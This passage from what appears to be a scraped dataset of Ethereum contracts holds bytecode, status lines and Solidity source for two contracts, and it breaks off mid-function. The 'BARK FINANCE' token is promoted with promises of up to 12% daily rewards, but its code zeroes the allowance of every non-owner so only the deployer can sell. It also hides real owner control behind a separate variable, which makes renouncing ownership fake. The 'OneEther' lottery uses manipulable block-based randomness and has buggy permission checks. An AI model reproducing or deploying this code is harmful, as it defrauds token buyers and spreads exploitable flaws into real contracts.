6101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561137e5780601f106113535761010080835404028352916020019161137e565b820191906000526020600020905b81548152906001019060200180831161136157829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113d557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561141157600080fd5b611462826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061163782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188557600080fd5b61188e816118c6565b50565b600082821115151561189f57fe5b818303905092915050565b600081830190508281101515156118bd57fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561190257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058202db31c754567442c19d759fba101df09ca495b0530dfd6477fad796b2070b5260029
{"success": true, "error": null, "results": {}}
297
0xc4d8d008908259c8fee80876eb288cda40ff4e0b
/* $BARK Token $BARK is the parent token of the whole ecosystem. Investors who hold $BARK will receive a 2% reflection on every transaction. Fees from the BARK MINER will be used to buy-back and burn $BARK tokens periodically. Tokenomics: 1,000,000 Total Supply 10% Private Sale 1% Max Wallet 12% Buy/Sell Tax BARK MINER BARK Miner is a fork of the popular BSC project, Baked Beans. BARK Finance is a locked reward pool that gives rewards forever (Up to 12% daily). TREASURY A portion of fees from $BARK tokens will be accumulated into the treasury. The treasury will be used to contribute further funds into the TVL + also buyback and burn $BARK. Dapp: https://barkfinance.netlify.app/ Website: https://BarkFinance.io Token: TBA Twitter: https://twitter.com/BarkFinance Telegram: @BarkFinanceERC */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract BARKFINANCE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**3* 10**18; string private _name = 'BARK FINANCE ' ; string private _symbol = 'BARK ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e7402070a347d2accdcf0081bcad8a726d77b820d1aae507af0fba710c07cd6164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
298
0x42d7c0c40a153c49212a89d0129a8cec8c23935b
pragma solidity ^0.4.24; contract OneEther { event onOpenNewBet( uint256 indexed bID, address owner, uint256 check, uint256 unit, uint256 recordTime ); event onEditBet( uint256 indexed bID, address owner, uint256 check, uint256 unit, uint256 recordTime ); event onOpenNewRound( uint256 indexed bID, uint256 indexed rID, uint256 total, uint256 current, uint256 ethAmount, uint256 recordTime ); event RoundMask( uint256 rID, bytes32 hashmask ); event onReveal( uint256 indexed rID, address winner, uint256 reward, uint256 teamFee, uint256 scretNumber, uint256 randomNumber, uint256 recordTime ); event onBuyBet( uint256 indexed bID, uint256 indexed rID, address playerAddress, uint256 amount, uint256 key, uint256 playerCode, uint256 invator, uint256 recordTime ); event onRoundUpdate( uint256 indexed bID, uint256 indexed rID, uint256 totalKey, uint256 currentKey, uint256 lastUpdate ); event onRoundEnd( uint256 indexed bID, uint256 indexed rID, uint256 lastUpdate ); event onWithdraw ( uint256 indexed playerID, address indexed playerAddress, uint256 ethOut, uint256 recordTime ); event onBuyFailed ( uint256 indexed playerID, uint256 indexed rID, uint256 ethIn, uint256 recordTime ); using SafeMath for *; address private owner = msg.sender; address private admin = msg.sender; bytes32 constant public NAME = "OneEther"; bytes32 constant public SYMBOL = "OneEther"; uint256 constant MIN_BUY = 0.001 ether; uint256 constant MAX_BUY = 30000 ether; uint256 public linkPrice_ = 0.01 ether; bool public activated_ = false; uint256 private teamFee_ = 0; //team Fee Pot uint256 public bID = 10; uint256 public pID = 100; uint256 public rID = 1000; mapping(address => uint256) public pIDAddr_;//(addr => pID) returns player id by address mapping(uint256 => OneEtherDatasets.BetInfo) public bIDBet_; mapping(uint256 => OneEtherDatasets.Stake[]) public betList_; mapping(uint256 => OneEtherDatasets.BetState) public rIDBet_; mapping(uint256 => OneEtherDatasets.Player) public pIDPlayer_; mapping(uint256 => uint256) public bIDrID_; mapping(uint256 => address) public pIDAgent_; uint256[] public bIDList_; //=============================================================== // construct //============================================================== constructor() public {} //=============================================================== // The following are safety checks //============================================================== //isActivated modifier isAdmin() {require(msg.sender == admin, "its can only be call by admin");_;} modifier isbetActivated(uint256 _bID) { require(bIDBet_[_bID].bID != 0 && bIDBet_[_bID].isActivated == true, "cant find this bet"); _; } modifier isActivated() {require(activated_ == true, "its not ready yet. ");_;} //isAdmin modifier isWithinLimits(uint256 _eth) { require(_eth >= MIN_BUY, "too small"); require(_eth <= MAX_BUY, "too big"); _; } //activate game function activate() public isAdmin() {require(activated_ == false, "the game is running");activated_ = true;} //close game dangerous! function close() public isAdmin() isActivated() {activated_ = false;} //=============================================================== // Functions call by admin //============================================================== //set new admin function setNewAdmin(address _addr) public { require(msg.sender == owner); admin = _addr; } function openNewBet(address _owner, uint256 _check, uint256 _unit) public isAdmin() isActivated() { require((_check >= MIN_BUY) && (_check <= MAX_BUY), "out of range"); require((_unit * 2) <= _check, "unit of payment dennied"); bID++; bIDBet_[bID].bID = bID; uint256 _now = now; if (_owner == address(0)) { bIDBet_[bID].owner = admin; } else { bIDBet_[bID].owner = _owner; } bIDBet_[bID].check = _check; bIDBet_[bID].unit = _unit; bIDBet_[bID].isActivated = true; bIDList_.push(bID); //emit emit onOpenNewBet(bID, bIDBet_[bID].owner, _check, _unit, _now); } function openFirstRound(uint256 _bID, bytes32 _maskHash) public isbetActivated(_bID) { address addr = msg.sender; require(bIDBet_[bID].bID != 0, "cant find this bet"); require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin, "Permission denied"); require(bIDrID_[_bID] == 0, "One Bet can only open one round"); newRound(_bID, _maskHash); } function closeBet(uint256 _bID) public { address addr = msg.sender; require(bIDBet_[bID].bID != 0, "cant find this bet"); require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin, "Permission denied"); // this means it cant be generated next round. current round would continue to end. bIDBet_[_bID].isActivated = false; //emit } function openBet(uint256 _bID) public { address addr = msg.sender; require(bIDBet_[bID].bID != 0, "cant find this bet"); require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin, "Permission denied"); require(bIDBet_[_bID].isActivated = false, "This bet is opening"); bIDBet_[_bID].isActivated = true; } function editBet(uint256 _bID, uint256 _check, uint256 _unit) public { require((_check >= MIN_BUY) && (_check <= MAX_BUY), "out of range"); address addr = msg.sender; require(bIDBet_[_bID].bID != 0, "cant find this bet"); require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin, "Permission denied"); bIDBet_[_bID].check = _check; bIDBet_[_bID].unit = _unit; emit onEditBet(bID, bIDBet_[bID].owner, _check, _unit, now); } function withdrawFee() public isAdmin() { uint256 temp = teamFee_; teamFee_ = 0; msg.sender.transfer(temp); } function registAgent(address _addr) public isAdmin() { uint256 _pID = pIDAddr_[_addr]; if (_pID == 0) { // regist a new player pID++; pIDAddr_[_addr] = pID; // set new player struct pIDPlayer_[pID].addr = _addr; pIDPlayer_[pID].balance = 0; pIDPlayer_[pID].agent = 0; pIDAgent_[pID] = _addr; } else { pIDAgent_[_pID] = _addr; } } function resetAgent(address _addr) public isAdmin() { uint256 _pID = pIDAddr_[_addr]; if (_pID != 0) { pIDAgent_[_pID] = address(0); } } //=============================================================== // functions call by gameplayer //============================================================== function buySome(uint256 _rID, uint256 _key, uint256 _playerCode, uint256 _linkPID, uint256 _agent) public payable { require(rIDBet_[_rID].rID != 0, "cant find this round"); uint256 _bID = rIDBet_[_rID].bID; require(bIDBet_[_bID].bID != 0, "cant find this bet"); require(_key <= rIDBet_[_rID].total, "key must not beyond limit"); require(msg.value >= bIDBet_[_bID].unit, "too small for this bet"); require(bIDBet_[_bID].unit * _key == msg.value, "not enough payment"); require(_playerCode < 100000000000000, "your random number is too big"); uint256 _pID = managePID(_linkPID, _agent); if (rIDBet_[_rID].current + _key <= rIDBet_[_rID].total) { uint256 _value = manageLink(_pID, msg.value); manageKey(_pID, _rID, _key); rIDBet_[_rID].current = rIDBet_[_rID].current.add(_key); rIDBet_[_rID].ethAmount = rIDBet_[_rID].ethAmount.add(_value); rIDBet_[_rID].playerCode = rIDBet_[_rID].playerCode.add(_playerCode); emit onBuyBet(_bID, _rID, pIDPlayer_[_pID].addr, _value, _key, _playerCode, pIDPlayer_[_pID].invator, now); if (rIDBet_[_rID].current >= rIDBet_[_rID].total) { emit onRoundEnd(_bID, _rID, now); } } else { // failed to pay a bet,the value will be stored in player&#39;s balance pIDPlayer_[_pID].balance = pIDPlayer_[_pID].balance.add(msg.value); emit onBuyFailed(_pID, _rID, msg.value, now); } } function buyWithBalance(uint256 _rID, uint256 _key, uint256 _playerCode) public payable { uint256 _pID = pIDAddr_[msg.sender]; require(_pID != 0, "player not founded in contract "); require(rIDBet_[_rID].rID != 0, "cant find this round"); uint256 _bID = rIDBet_[_rID].bID; require(bIDBet_[_bID].bID != 0, "cant find this bet"); uint256 _balance = pIDPlayer_[_pID].balance; require(_key <= rIDBet_[_rID].total, "key must not beyond limit"); require(_balance >= bIDBet_[_bID].unit, "too small for this bet"); require(bIDBet_[_bID].unit * _key <= _balance, "not enough balance"); require(_playerCode < 100000000000000, "your random number is too big"); require(rIDBet_[_rID].current + _key <= rIDBet_[_rID].total, "you beyond key"); pIDPlayer_[_pID].balance = pIDPlayer_[_pID].balance.sub(bIDBet_[_bID].unit * _key); uint256 _value = manageLink(_pID, bIDBet_[_bID].unit * _key); manageKey(_pID, _rID, _key); rIDBet_[_rID].current = rIDBet_[_rID].current.add(_key); rIDBet_[_rID].ethAmount = rIDBet_[_rID].ethAmount.add(_value); rIDBet_[_rID].playerCode = rIDBet_[_rID].playerCode.add(_playerCode); emit onBuyBet(_bID, _rID, pIDPlayer_[_pID].addr, _value, _key, _playerCode, pIDPlayer_[_pID].invator, now); if (rIDBet_[_rID].current == rIDBet_[_rID].total) { emit onRoundEnd(_bID, _rID, now); } } function reveal(uint256 _rID, uint256 _scretKey, bytes32 _maskHash) public { require(rIDBet_[_rID].rID != 0, "cant find this round"); uint256 _bID = rIDBet_[_rID].bID; require(bIDBet_[_bID].bID != 0, "cant find this bet"); require((bIDBet_[_bID].owner == msg.sender) || admin == msg.sender, "can only be revealed by admin or owner"); bytes32 check = keccak256(abi.encodePacked(_scretKey)); require(check == rIDBet_[_rID].maskHash, "scretKey is not match maskHash"); uint256 modulo = rIDBet_[_rID].total; //get random , use secretnumber,playerCode,blockinfo bytes32 random = keccak256(abi.encodePacked(check, rIDBet_[_rID].playerCode, (block.number + now))); uint result = (uint(random) % modulo) + 1; uint256 _winPID = 0; for (uint i = 0; i < betList_[_rID].length; i++) { if (result >= betList_[_rID][i].start && result <= betList_[_rID][i].end) { _winPID = betList_[_rID][i].pID; break; } } // pay the reward uint256 reward = rIDBet_[_rID].ethAmount; uint256 teamFee = (bIDBet_[_bID].check.mul(3))/100; pIDPlayer_[_winPID].balance = pIDPlayer_[_winPID].balance.add(reward); //emit emit onReveal(_rID, pIDPlayer_[_winPID].addr, reward, teamFee, _scretKey, result, now); // delete thie round; delete rIDBet_[_rID]; delete betList_[_rID]; bIDrID_[_bID] = 0; // start to reset round newRound(_bID, _maskHash); } function getPlayerByAddr(address _addr) public view returns(uint256, uint256) { uint256 _pID = pIDAddr_[_addr]; return (_pID, pIDPlayer_[_pID].balance); } function getRoundInfoByID(uint256 _rID) public view returns(uint256, uint256, uint256, uint256, uint256, bytes32, uint256) { return ( rIDBet_[_rID].rID, //0 rIDBet_[_rID].bID, //1 rIDBet_[_rID].total, //2 rIDBet_[_rID].current, //3 rIDBet_[_rID].ethAmount, //4 rIDBet_[_rID].maskHash, //5 rIDBet_[_rID].playerCode //6 ); } function getBetInfoByID(uint256 _bID) public view returns(uint256, uint256, address, uint256, uint256, bool) { return ( bIDrID_[_bID], //get current rID bIDBet_[_bID].bID, bIDBet_[_bID].owner, bIDBet_[_bID].check, bIDBet_[_bID].unit, bIDBet_[_bID].isActivated ); } function getBIDList() public view returns(uint256[]) {return(bIDList_);} function getAgent(address _addr) public view returns(uint256) { uint256 _pID = pIDAddr_[_addr]; return pIDAgent_[_pID] == address(0) ? 0 : _pID; } function withdraw() public isActivated() { uint256 _now = now; uint256 _pID = pIDAddr_[msg.sender]; uint256 _eth; if (_pID != 0) { _eth = withdrawEarnings(_pID); require(_eth > 0, "no any balance left"); pIDPlayer_[_pID].addr.transfer(_eth); emit onWithdraw(_pID, msg.sender, _eth, _now); } } //=============================================================== // internal call //============================================================== function manageKey(uint256 _pID, uint256 _rID, uint256 _key) private { uint256 _current = rIDBet_[_rID].current; OneEtherDatasets.Stake memory _playerstake = OneEtherDatasets.Stake(0, 0, 0); _playerstake.start = _current + 1; _playerstake.end = _current + _key; _playerstake.pID = _pID; betList_[_rID].push(_playerstake); } function manageLink(uint256 _pID, uint256 _value) private returns(uint256) { uint256 cut = (_value.mul(3))/100;//3% for teamFee uint256 _value2 = _value.sub(cut); uint256 _invator = pIDPlayer_[_pID].invator; if (_invator != 0) { uint256 cut2 = (cut.mul(60))/100; //2% for the invator cut = cut.sub(cut2); pIDPlayer_[_invator].balance = pIDPlayer_[_invator].balance.add(cut2); } //agent Fee uint256 _agent = pIDPlayer_[_pID].agent; if (_agent != 0 && pIDAgent_[_agent] != address(0)) { uint256 cut3 = (cut.mul(50))/100; //50% for the agent cut = cut.sub(cut3); pIDPlayer_[_agent].balance = pIDPlayer_[_agent].balance.add(cut3); } teamFee_ = teamFee_.add(cut); return _value2; } function managePID(uint256 _linkPID, uint256 _agent) private returns (uint256) { uint256 _pID = pIDAddr_[msg.sender]; if (_pID == 0) { // regist a new player pID++; pIDAddr_[msg.sender] = pID; // set new player struct pIDPlayer_[pID].addr = msg.sender; pIDPlayer_[pID].balance = 0; pIDPlayer_[pID].agent = 0; if (pIDPlayer_[_linkPID].addr != address(0)) { pIDPlayer_[pID].invator = _linkPID; pIDPlayer_[pID].agent = pIDPlayer_[_linkPID].agent; } else { if (pIDAgent_[_agent] != address(0)) { pIDPlayer_[pID].agent = _agent; } } return (pID); } else { return (_pID); } } function newRound(uint256 _bID, bytes32 _maskHash) private { uint256 _total = bIDBet_[_bID].check / bIDBet_[_bID].unit; 